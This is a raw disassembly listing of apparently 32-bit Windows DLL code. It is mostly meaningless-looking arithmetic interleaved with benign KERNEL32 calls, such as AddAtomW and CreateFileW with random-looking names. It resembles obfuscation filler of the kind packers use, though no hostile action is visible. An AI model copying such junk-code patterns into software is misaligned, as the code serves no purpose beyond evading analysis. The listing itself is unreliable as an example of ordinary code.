mov dword [ebp - 0x4fc4], ecx
mov edx, dword [ebp - 0x4074]
mov eax, dword [0x100b983c]
or eax, dword [edx]
mov ecx, dword [0x100bb3a8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x192]
mov eax, dword [ebp - 0x3f84]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2c3], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4c40], eax
push str.PqLihCk_yQOBHa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb988], ax
mov dword [ebp - 0x4fc8], 0x100b94a0
lea edx, [ebp - 0x2d5]
mov dword [0x100bb98c], edx
mov eax, dword [ebp - 0x3bc0]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8a0]
xor ecx, edx
mov eax, dword [ebp - 0x4f94]
mov word [eax], cx
mov ecx, dword [ebp - 0x4a80]
mov dword [ebp - 0x4fcc], ecx
push 0x100baccc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3964]
mov eax, dword [ebp - 0x43e4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [0x100b71f0], ecx
mov edx, dword [0x100bae24]
movzx eax, byte [edx]
mov ecx, dword [0x100bb10c]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3c1c]
mov byte [ecx], al
movsx edx, byte [ebp - 0x2b0]
movsx ecx, byte [ebp - 0x1f8]
sar edx, cl
mov eax, dword [ebp - 0x4178]
mov byte [eax], dl
mov ecx, dword [ebp - 0x43a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x574]
sub edx, eax
mov word [0x100b9e70], dx
movzx edx, word [ebp - 0x141c]
mov eax, dword [ebp - 0x4e40]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x514], dx
mov ecx, dword [0x100bb768]
mov edx, dword [ebp - 0x4484]
or edx, dword [ecx]
mov eax, dword [ebp - 0x3980]
mov dword [eax], edx
lea ecx, [ebp - 0x1b3]
mov dword [0x100bb990], ecx
mov edx, dword [ebp - 0x4a6c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [ebp - 0xea], al
mov edx, dword [ebp - 0x4cec]
mov dword [ebp - 0x4fd0], edx
push str.BI3hT_B7ORX_j
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17ec], ax
lea eax, [ebp - 0x11c0]
mov dword [0x100bb994], eax
mov ecx, dword [0x100babb8]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
movsx ecx, word [0x100b94a0]
and eax, ecx
mov word [ebp - 0x12b0], ax
push str.AdxN_dR_ZKO7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1190], ax
lea edx, [ebp - 0x2cdc]
mov dword [ebp - 0x4fd4], edx
movsx eax, byte [ebp - 0xc9]
mov ecx, dword [ebp - 0x39d0]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b719a], al
movzx eax, byte [0x100b7f3e]
movzx ecx, byte [ebp - 0x291]
sar eax, cl
mov byte [ebp - 0x2bf], al
mov ecx, dword [ebp - 0x44cc]
movzx eax, word [ecx]
cdq
mov ecx, 0x9b7
idiv ecx
mov word [ebp - 0x694], ax
push 0
push 0x20
push 0
push 0
push 2
push 0x80000000
push str.KhpSsH1YaSaqG5
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4fd8], eax
movzx edx, word [ebp - 0x10c0]
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100ba46c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3680]
mov eax, dword [ebp - 0x4dc0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x31f0], ecx
push str.S6dKUBm_1wpUs_HJPaMPY.ZEknXAIX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb998], ax
movsx edx, word [ebp - 0xa44]
movsx eax, word [ebp - 0x12e4]
and edx, eax
mov ecx, dword [ebp - 0x3d4c]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb99c], eax
mov dword [0x100bb9a0], 0x100ba028
mov edx, dword [ebp - 0x3df8]
mov al, byte [edx]
mov byte [ebp - 0x313], al
lea ecx, [ebp - 0x41]
mov dword [0x100bb9a4], ecx
movzx edx, word [ebp - 0x15ec]
mov eax, dword [0x100ba9a0]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x46f4]
mov word [eax], dx
mov ecx, dword [ebp - 0x3b98]
mov edx, dword [ecx]
mov dword [ebp - 0x4fdc], edx
mov eax, dword [0x100ba978]
mov ecx, dword [ebp - 0x4844]
xor ecx, dword [eax]
mov edx, dword [0x100ba304]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x39b4], eax
mov eax, dword [0x100ba15c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x1438]
mov dword [ebp - 0x4fe0], ecx
movsx edx, byte [ebp - 0x27b]
movsx ecx, byte [ebp - 0x2bb]
sar edx, cl
mov eax, dword [ebp - 0x44b8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x45ec]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7fd7]
xor edx, eax
mov ecx, dword [0x100bad08]
mov byte [ecx], dl
lea edx, [ebp - 0x2c7]
mov dword [ebp - 0x4fe4], edx
push 0
lea eax, [ebp - 0x98b4]
push eax
mov ecx, dword [0x100bb70c]
push ecx
mov edx, dword [0x100bb708]
push edx
mov eax, dword [ebp - 0x3788]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x399c]
mov edx, dword [ebp - 0x3494]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x3ffc], eax
mov dword [0x100bb9a8], 0x100b7374
lea ecx, [ebp - 0x12e8]
mov dword [ebp - 0x4fec], ecx
mov edx, dword [ebp - 0x3db8]
mov eax, dword [ebp - 0x2f9c]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4ad8]
mov dword [ecx], eax
mov edx, dword [0x100ba4a8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2cd]
sub eax, ecx
mov byte [0x100b7222], al
push 0x100bb9ac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx edx, byte [ebp - 0x8b]
movsx ecx, byte [0x100b726f]
shl edx, cl
mov byte [ebp - 6], dl
mov eax, dword [ebp - 0x4008]
imul eax, dword [0x100b7310]
mov dword [ebp - 0x2c5c], eax
lea ecx, [ebp - 0x108c]
mov dword [0x100bb9c4], ecx
movsx edx, word [ebp - 0xfc4]
mov eax, dword [ebp - 0x4acc]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xc54], dx
mov edx, dword [0x100bae1c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4ac8]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x1218], ax
lea eax, [ebp - 0x291]
mov dword [0x100bb9c8], eax
mov edx, dword [0x100b9ed8]
mov ecx, dword [ebp - 0x30c0]
shr edx, cl
mov dword [ebp - 0x2da4], edx
push 0x237a
push 0x1c1e
push 0x2f63
push 0x2fa5
mov eax, dword [ebp - 0x3b44]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100baa14], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb9cc], eax
mov ecx, dword [ebp - 0x3ff4]
mov edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [0x100ba48c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x306]
add ecx, edx
mov eax, dword [0x100bb52c]
mov byte [eax], cl
mov dword [ebp - 0x4ff4], 0x100b9e60
push 0
push 4
push 5
push 0
push 4
push 0x80000000
push str.wtEXQfhORCwoS_aUOlk9rcy79z6W
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4ff8], eax
movsx ecx, word [ebp - 0x123c]
movsx edx, word [ebp - 0x14ec]
and ecx, edx
mov word [ebp - 0x1214], cx
lea eax, [ebp - 0x298]
mov dword [0x100bb9d0], eax
mov ecx, dword [0x100bb340]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4044]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xcc], dl
mov ecx, dword [0x100b9cc0]
mov edx, dword [ebp - 0x4c64]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4b9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x33d4]
add ecx, dword [0x100b736c]
mov dword [0x100b7400], ecx
mov edx, dword [0x100b9ed4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.8j7oCoH_IzZuG4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17f0], ax
mov dword [ebp - 0x4ffc], 0x100b8492
movzx eax, word [ebp - 0x15dc]
mov ecx, dword [ebp - 0x3e30]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xe94], ax
movzx edx, word [ebp - 0x14dc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb9d4], ax
lea eax, [ebp - 0x9d60]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ebp - 0x1180]
mov dword [0x100bb9d8], ecx
movzx edx, byte [ebp - 0x259]
movzx eax, byte [ebp - 0x158]
or edx, eax
mov ecx, dword [ebp - 0x37c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4dc8]
mov eax, dword [edx]
mov dword [ebp - 0x5000], eax
movzx ecx, word [0x100b9984]
movzx edx, word [ebp - 0xfa0]
and ecx, edx
mov word [0x100bb870], cx
mov eax, dword [0x100bb8f0]
imul ecx, dword [eax], 0x2377
mov dword [ebp - 0x2fec], ecx
lea edx, [ebp - 0x1b3]
mov dword [ebp - 0x5004], edx
movsx eax, word [ebp - 0x17d4]
movsx ecx, word [0x100b7270]
xor eax, ecx
mov edx, dword [0x100b9c34]
mov word [edx], ax
mov eax, dword [0x100bb658]
mov cl, byte [eax]
mov byte [ebp - 0x314], cl
mov edx, dword [ebp - 0x40c4]
sub edx, dword [ebp - 0x2e00]
mov dword [ebp - 0x3c5c], edx
lea eax, [ebp - 0x28e]
mov dword [0x100bb9dc], eax
movzx ecx, word [0x100ba548]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb9e0], ax
lea edx, [ebp - 0x163c]
mov dword [ebp - 0x5008], edx
mov eax, dword [ebp - 0x444c]
movzx edx, word [eax]
mov eax, dword [ebp - 0x4c60]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4f5c]
mov word [ecx], dx
lea edx, [ebp - 0xb488]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100b97f4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3188]
mov dword [0x100bb928], ecx
movsx edx, word [0x100b72e4]
mov eax, dword [ebp - 0x457c]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xa6c], dx
mov ecx, dword [ebp - 0x3ca0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4e]
and edx, eax
mov ecx, dword [ebp - 0x4cc8]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9560], eax
lea edx, [ebp - 0x2c58]
mov dword [0x100bb9e4], edx
mov dword [ebp - 0x500c], 0x100b719a
lea eax, [ebp - 0xae34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4758]
movzx edx, word [ecx]
imul eax, edx, 0xe6d
mov word [ebp - 0x9f4], ax
mov ecx, dword [ebp - 0x44cc]
movzx edx, word [ecx]
movzx eax, word [0x100ba5dc]
or edx, eax
mov word [0x100b7484], dx
movsx ecx, byte [ebp - 0x2c5]
mov edx, dword [ebp - 0x4f9c]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x44b8]
mov byte [edx], cl
mov eax, dword [ebp - 0x4158]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x43a8]
mov dword [0x100b7308], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5010], eax
movsx edx, word [0x100bb454]
movsx ecx, word [ebp - 0x1374]
shl edx, cl
mov word [ebp - 0xd54], dx
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x5014], eax
mov ecx, dword [0x100b9530]
and ecx, dword [ebp - 0x429c]
mov dword [0x100b7488], ecx
push 0x100bb9e8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100bab0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4a4c]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xc88], ax
mov edx, dword [ebp - 0x4710]
mov eax, dword [edx]
imul eax, dword [ebp - 0x3748]
mov dword [ebp - 0x3810], eax
push 0x2152
push 0
lea ecx, [ebp - 0x4b58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bba0c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba984], eax
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x49e0]
movsx ecx, word [ecx]
cdq
idiv ecx
mov edx, dword [0x100b96a8]
mov word [edx], ax
lea eax, [ebp - 0x2bf8]
mov dword [ebp - 0x5018], eax
mov ecx, dword [ebp - 0x4414]
movzx edx, byte [ecx]
mov eax, dword [0x100bac70]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x4a], dl
movsx edx, byte [ebp - 0x307]
movsx eax, byte [ebp - 0x2c9]
add edx, eax
mov byte [0x100b72c3], dl
mov ecx, dword [ebp - 0x46cc]
mov dl, byte [ecx]
mov byte [ebp - 0x315], dl
mov dword [ebp - 0x501c], 0x100b7230
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5020], eax
mov eax, dword [ebp - 0x46b8]
mov cl, byte [eax]
mov byte [0x100b85c2], cl
mov edx, dword [ebp - 0x418c]
movsx eax, word [edx]
mov ecx, dword [0x100baf70]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4020]
mov word [ecx], ax
movzx edx, word [ebp - 0x5bc]
movzx eax, word [ebp - 0xc88]
and edx, eax
mov word [ebp - 0xc04], dx
push 0
push 0x100
push 1
push 0
push 1
push 0x80000000
push str.7tUDQcY47nJ_rnnrI4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5024], eax
mov ecx, dword [ebp - 0x4f2c]
mov edx, dword [ebp - 0x38cc]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [0x100b7368], eax
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x5028], ecx
mov edx, dword [ebp - 0x3800]
mov eax, dword [edx]
sub eax, dword [0x100ba028]
mov dword [ebp - 0x2b58], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9b14], eax
mov ecx, dword [ebp - 0x408c]
movzx edx, byte [ecx]
movzx ecx, byte [0x100b8266]
shl edx, cl
mov byte [0x100b7317], dl
lea eax, [ebp - 0x151c]
mov dword [ebp - 0x502c], eax
mov cx, word [0x100bb024]
mov word [ebp - 0x17f4], cx
mov edx, dword [ebp - 0x49d8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c10]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100ba3d0]
mov byte [edx], al
movzx eax, word [ebp - 0x10d4]
mov ecx, dword [0x100ba46c]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x35e4]
mov word [ecx], ax
mov edx, dword [ebp - 0x4190]
mov eax, dword [edx]
add eax, dword [ebp - 0x2dbc]
mov ecx, dword [ebp - 0x4c2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x46c4]
mov eax, dword [edx]
mov dword [0x100bba10], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bba14], eax
lea ecx, [ebp - 0x231]
mov dword [ebp - 0x5030], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ad0], eax
mov edx, dword [ebp - 0x4d04]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x4558]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3c68]
mov word [ecx], ax
movsx edx, byte [0x100b84ce]
movsx eax, byte [ebp - 0x2a2]
xor edx, eax
mov byte [0x100b7e0e], dl
movzx ecx, word [ebp - 0x17a8]
mov edx, dword [ebp - 0x4298]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x944], cx
mov ecx, dword [ebp - 0x36a8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2b48]
shl edx, cl
mov dword [ebp - 0x32a8], edx
mov eax, dword [ebp - 0x2f78]
mov ecx, dword [0x100b7350]
shr eax, cl
mov dword [0x100b748c], eax
mov ecx, dword [ebp - 0x4028]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3c84]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x8d], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4c18], eax
mov edx, dword [ebp - 0x5004]
mov al, byte [edx]
mov byte [ebp - 0x316], al
mov ecx, dword [ebp - 0x49e8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x6bc]
and edx, eax
mov ecx, dword [0x100bb5ec]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bba18], eax
movzx edx, word [ebp - 0xd28]
imul eax, edx, 0x7ff
mov word [ebp - 0x178c], ax
push 0x100baa8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x20
push 0
push 0
push 8
push 0xc0000000
push str.mcuywpBebTS
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5034], eax
push 0x100bba1c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x39e8]
mov edx, dword [ebp - 0x43a0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x32ac], eax
push str.KWoJk0CY_SrvxfsBQKdRY_lIOue
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1620], ax
lea ecx, [ebp - 0x144]
mov dword [0x100bba40], ecx
push 2
lea edx, [ebp - 0x984c]
push edx
mov eax, dword [0x100baa4c]
push eax
mov ecx, dword [0x100baa48]
push ecx
mov edx, dword [0x100b99a4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5038], eax
mov eax, dword [0x100bb568]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x390c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x296], cl
mov ecx, dword [ebp - 0x4770]
mov edx, dword [0x100ba304]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4a88], eax
movzx ecx, word [ebp - 0x121c]
movzx edx, word [0x100bb1b8]
or ecx, edx
mov word [0x100b7344], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bba44], eax
lea eax, [ebp - 0x12e4]
mov dword [ebp - 0x503c], eax
mov ecx, dword [0x100bb448]
mov edx, dword [ebp - 0x4cb8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x3d0c]
mov dword [ecx], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5040], eax
mov edx, dword [ebp - 0x4f50]
mov al, byte [edx]
mov byte [0x100b85c3], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb4b0], eax
lea ecx, [ebp - 0x289]
mov dword [ebp - 0x5044], ecx
lea edx, [ebp - 0x11a0]
mov dword [ebp - 0x5048], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x434c], eax
movzx eax, word [ebp - 0xfd4]
mov ecx, dword [ebp - 0x3e84]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100bb2f4]
mov word [edx], ax
mov eax, dword [ebp - 0x4b1c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2be8]
mov dword [ebp - 0x3730], ecx
lea edx, [ebp - 0xa9c]
mov dword [ebp - 0x504c], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bba48], eax
push 0x55a
mov eax, dword [ebp - 0x4e7c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bba4c], eax
lea ecx, [ebp - 0x301c]
mov dword [0x100bba50], ecx
movsx edx, byte [0x100b71f6]
mov eax, dword [0x100bac74]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x2b0], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5050], eax
mov edx, dword [ebp - 0x36f4]
mov al, byte [edx]
mov byte [0x100b85c6], al
mov cx, word [ebp - 0x1004]
mov word [ebp - 0x17f8], cx
mov edx, dword [ebp - 0x45c4]
mov eax, dword [ebp - 0x2f40]
and eax, dword [edx]
mov dword [ebp - 0x2c5c], eax
push 0xa75
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3ec4], eax
mov edx, dword [ebp - 0x2be8]
mov ecx, dword [ebp - 0x3230]
shr edx, cl
mov dword [0x100b73e4], edx
mov eax, dword [ebp - 0x432c]
movsx edx, word [eax]
movsx ecx, word [0x100ba0e4]
shl edx, cl
mov eax, dword [ebp - 0x3774]
mov word [eax], dx
lea ecx, [ebp - 0x315]
mov dword [ebp - 0x5054], ecx
movzx edx, byte [ebp - 0xac]
mov eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x100b731e], dl
mov edx, dword [ebp - 0x4904]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x54]
xor eax, ecx
mov byte [ebp - 0x261], al
mov edx, dword [ebp - 0x43a0]
mov eax, dword [edx]
mov dword [ebp - 0x5058], eax
mov ecx, dword [ebp - 0x4f94]
movzx edx, word [ecx]
mov eax, dword [0x100ba77c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100b9688]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x505c], eax
movsx ecx, word [ebp - 0xedc]
movsx edx, word [ebp - 0x1318]
and ecx, edx
mov word [ebp - 0x9c0], cx
mov eax, dword [ebp - 0x43c4]
mov ecx, dword [ebp - 0x2be8]
imul ecx, dword [eax]
mov edx, dword [ebp - 0x3fe0]
mov dword [edx], ecx
push str.JYaTfGTd_FVQU_JOMgbt2GyXpWgoT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bba54], ax
movzx eax, byte [ebp - 0x2c3]
movzx ecx, byte [0x100b80ef]
sar eax, cl
mov byte [0x100b712f], al
mov ecx, dword [ebp - 0x383c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4cf8]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1e5], dl
mov edx, dword [0x100b9e9c]
mov ecx, dword [ebp - 0x2de4]
shl edx, cl
mov dword [ebp - 0x2cdc], edx
lea eax, [ebp - 0xfb0]
mov dword [0x100bba58], eax
mov ecx, dword [0x100b951c]
mov dx, word [ecx]
mov word [ebp - 0x17fc], dx
movzx eax, word [ebp - 0xc94]
mov ecx, dword [ebp - 0x4298]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x4d8], ax
movzx eax, byte [0x100b814e]
movzx ecx, byte [0x100b7e57]
add eax, ecx
mov byte [0x100b72b3], al
lea edx, [ebp - 0x3730]
mov dword [ebp - 0x5060], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5064], eax
mov eax, dword [ebp - 0x3f44]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3050], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9e98], eax
lea edx, [ebp - 0x1ab]
mov dword [0x100bba5c], edx
mov dword [ebp - 0x5068], 0x100b7380
movsx eax, word [0x100b7330]
mov ecx, dword [ebp - 0x38f0]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4aa8]
mov word [ecx], ax
lea edx, [ebp - 0x282]
mov dword [0x100bba60], edx
push 0
push 0x197f
push 0x30f9
push 0x3119
push 2
mov eax, dword [ebp - 0x3d70]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba01c], eax
lea ecx, [ebp - 0x2f7]
mov dword [ebp - 0x506c], ecx
mov edx, dword [0x100bb740]
mov ecx, dword [ebp - 0x3968]
shr edx, cl
mov dword [ebp - 0x2bf8], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x4af8]
mov edx, dword [0x100bb2fc]
mov dword [edx], ecx
movsx eax, byte [0x100b7e02]
movsx ecx, byte [ebp - 0x23e]
shl eax, cl
mov byte [ebp - 0x14f], al
push str.PE861_LOQvz3
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bba64], ax
mov ecx, dword [ebp - 0x3fbc]
movzx edx, word [ecx]
mov eax, dword [0x100bba58]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xd90], dx
lea edx, [ebp - 0xedc]
mov dword [0x100bba68], edx
mov eax, dword [ebp - 0x4064]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2f3]
and ecx, edx
mov byte [ebp - 0x22e], cl
mov eax, dword [ebp - 0x35cc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea ecx, [ebp - 0x2dd4]
mov dword [ebp - 0x5070], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5074], eax
mov edx, dword [ebp - 0x4cf4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3610]
movzx edx, word [ecx]
or eax, edx
mov word [0x100ba9e8], ax
push 0x51e
mov eax, dword [0x100b9af0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x5078], eax
lea ecx, [ebp - 0x43a8]
mov dword [ebp - 0x507c], ecx
mov edx, dword [ebp - 0x4254]
movsx eax, byte [edx]
mov ecx, dword [0x100b9b24]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x15], al
push str.i_M38Mq_HnGsnz8rq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bba6c], ax
movsx edx, word [ebp - 0x610]
movsx eax, word [ebp - 0x12e4]
xor edx, eax
mov word [0x100b72c4], dx
push 0x100bba70
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [ebp - 0x16a8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb210], ax
push str.Dr_l56NjYVgT4g_dc5Oa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1800], ax
mov dl, byte [0x100b7e0f]
mov byte [ebp - 0x317], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x422c], eax
push 0x100a92d8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bba94], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3fc8], eax
movzx eax, word [0x100bb23c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bba98], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5080], eax
push 0x100b99ec
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5084], eax
mov ecx, dword [ebp - 0x4494]
add ecx, dword [0x100b71c8]
mov edx, dword [ebp - 0x4050]
mov dword [edx], ecx
push str.AgxfYS_Gzr3Ga5aZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13a0], ax
mov al, byte [ebp - 0x29d]
mov byte [0x100b85c7], al
mov ecx, dword [ebp - 0x3850]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4e34]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x16cc], dx
mov edx, dword [0x100ba52c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd28]
sub eax, ecx
mov word [ebp - 0xda0], ax
mov edx, dword [0x100b9a10]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bba9c], eax
mov dword [0x100bbaa0], 0x100b7368
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5088], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbaa4], eax
